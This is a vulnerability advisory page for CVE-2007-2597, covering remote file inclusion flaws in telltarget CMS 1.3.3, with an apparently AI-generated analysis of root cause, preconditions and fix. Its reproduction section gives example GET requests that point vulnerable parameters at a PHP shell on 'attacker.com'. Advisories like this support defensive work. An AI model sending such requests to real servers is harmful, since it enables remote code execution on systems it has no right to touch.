CVE-2007-2597
Description
Multiple PHP remote file inclusion vulnerabilities in telltarget CMS 1.3.3 allow remote attackers to execute arbitrary PHP code via a URL in the (1) ordnertiefe parameter to site_conf.php; or the (2) tt_docroot parameter to (a) class.csv.php, (b) produkte_nach_serie.php, or (c) ref_kd_rubrik.php in functionen/; (d) hg_referenz_jobgalerie.php, (e) surfer_anmeldung_NWL.php, (f) produkte_nach_serie_alle.php, (g) surfer_aendern.php, (h) ref_kd_rubrik.php, or (i) referenz.php in module/; or (j) 1/lay.php or (k) 3/lay.php in standard/.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
2- Range: =1.3.3
Patches
Vulnerability mechanics
Root cause
"Unsanitized user-supplied parameters (`ordnertiefe`, `tt_docroot`) are passed directly to PHP file-inclusion functions, allowing remote URL injection."
Attack vector
An attacker can inject a remote URL into the `ordnertiefe` or `tt_docroot` parameters via HTTP GET requests. Because these parameters are passed directly to PHP file-inclusion functions without validation, the server will fetch and execute arbitrary PHP code from the attacker-controlled URL [ref_id=1]. The attack requires no authentication and can be performed over the network by simply appending the malicious parameter to any of the listed script paths [ref_id=1].
Affected code
The vulnerability affects telltarget CMS version 1.3.3. The `ordnertiefe` parameter in `site_conf.php` and the `tt_docroot` parameter in multiple files under `functionen/`, `module/`, and `standard/` directories are used directly in PHP include/require statements without sanitization [ref_id=1]. The affected files include `class.csv.php`, `produkte_nach_serie.php`, `ref_kd_rubrik.php` (in functionen/), `hg_referenz_jobgalerie.php`, `surfer_anmeldung_NWL.php`, `produkte_nach_serie_alle.php`, `surfer_aendern.php`, `ref_kd_rubrik.php`, `referenz.php` (in module/), and `1/lay.php` and `3/lay.php` (in standard/) [ref_id=1].
What the fix does
No patch is provided in the bundle. The advisory does not include a vendor fix or remediation guidance [ref_id=1]. To close the vulnerability, the application must validate that the `ordnertiefe` and `tt_docroot` parameters contain only local, expected paths and reject any input containing URLs or directory traversal sequences. Alternatively, the application should use a whitelist of allowed include paths rather than accepting user-supplied values.
Preconditions
- authNo authentication required
- networkAttacker must be able to send HTTP GET requests to the server
- configThe PHP `allow_url_include` directive must be enabled on the server for remote file inclusion to succeed
- inputAttacker supplies a URL in the `ordnertiefe` or `tt_docroot` parameter
Reproduction
Send a GET request to any of the vulnerable scripts with a URL to a PHP shell as the parameter value. For example: `[Path]/phplib/site_conf.php?ordnertiefe=http://attacker.com/shell.txt` or `[Path]/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=http://attacker.com/shell.txt` [ref_id=1]. The server will include and execute the remote PHP code.
Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
16- osvdb.org/38236nvd
- osvdb.org/38237nvd
- osvdb.org/38238nvd
- osvdb.org/38239nvd
- osvdb.org/38240nvd
- osvdb.org/38241nvd
- osvdb.org/38242nvd
- osvdb.org/38243nvd
- osvdb.org/38244nvd
- osvdb.org/38245nvd
- osvdb.org/38246nvd
- osvdb.org/38247nvd
- www.securityfocus.com/bid/23903nvd
- www.vupen.com/english/advisories/2007/1740nvd
- exchange.xforce.ibmcloud.com/vulnerabilities/34216nvd
- www.exploit-db.com/exploits/3885nvd
News mentions
0No linked articles in our index yet.